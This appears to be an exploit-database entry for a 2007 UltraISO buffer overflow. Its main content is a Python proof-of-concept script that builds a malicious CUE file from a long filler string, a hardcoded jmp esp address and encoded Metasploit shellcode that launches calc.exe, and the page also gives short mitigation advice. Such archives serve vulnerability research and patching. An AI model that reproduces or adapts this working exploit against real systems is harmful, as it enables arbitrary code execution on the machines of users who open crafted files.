Ultra ISO Exploit

vendor:

Ultra ISO

by:

Thomas Pollet

7.5

CVSS

HIGH

Code Execution

CWE

Product Name: Ultra ISO

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

The exploit allows an attacker to execute arbitrary code by creating a malicious CUE file that triggers a buffer overflow vulnerability in Ultra ISO. This can be used to run arbitrary shellcode, such as the Metasploit calc.exe shellcode used in this example.

Mitigation:

Update to a patched version of Ultra ISO or use an alternative software. Avoid opening CUE files from untrusted sources.

Source

Exploit-DB raw data:

#
#ultra iso exploit
#thomas . pollet @ gmail . com
#

import struct
scode=(#metasploit calc.exe shellcode
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x50\x42\x50\x42\x30\x4b\x58\x45\x54\x4e\x33\x4b\x38\x4e\x57"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x41\x4b\x38"
"\x4f\x35\x42\x42\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x58"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x50\x4b\x54"
"\x4b\x58\x4f\x35\x4e\x31\x41\x50\x4b\x4e\x4b\x38\x4e\x41\x4b\x38"
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x50\x43\x4c\x41\x53"
"\x42\x4c\x46\x46\x4b\x48\x42\x44\x42\x43\x45\x38\x42\x4c\x4a\x37"
"\x4e\x50\x4b\x48\x42\x44\x4e\x50\x4b\x48\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x58\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x4a\x46\x4e\x43\x4f\x55\x41\x43"
"\x48\x4f\x42\x56\x48\x55\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x57"
"\x42\x55\x4a\x46\x4f\x4e\x50\x4c\x42\x4e\x42\x46\x4a\x36\x4a\x49"
"\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x56"
"\x4e\x46\x43\x56\x50\x42\x45\x56\x4a\x37\x45\x36\x42\x30\x5a"
)
cue='FILE "'
cue+='B'*1099
#77f84143:       ff e4                   jmp    *%esp
#had to try a few to get a good one 
cue+=struct.pack('<L',0x77f84143)
cue+=scode

cue+='.bin" BINARY\n'
cue+=' TRACK 01 MODE1/2352\n   INDEX 01 00:00:00'

cue_file = open("xpl.cue","w")
cue_file.write(cue)
bin_file = open("xpl.bin","w")

# milw0rm.com [2007-05-28]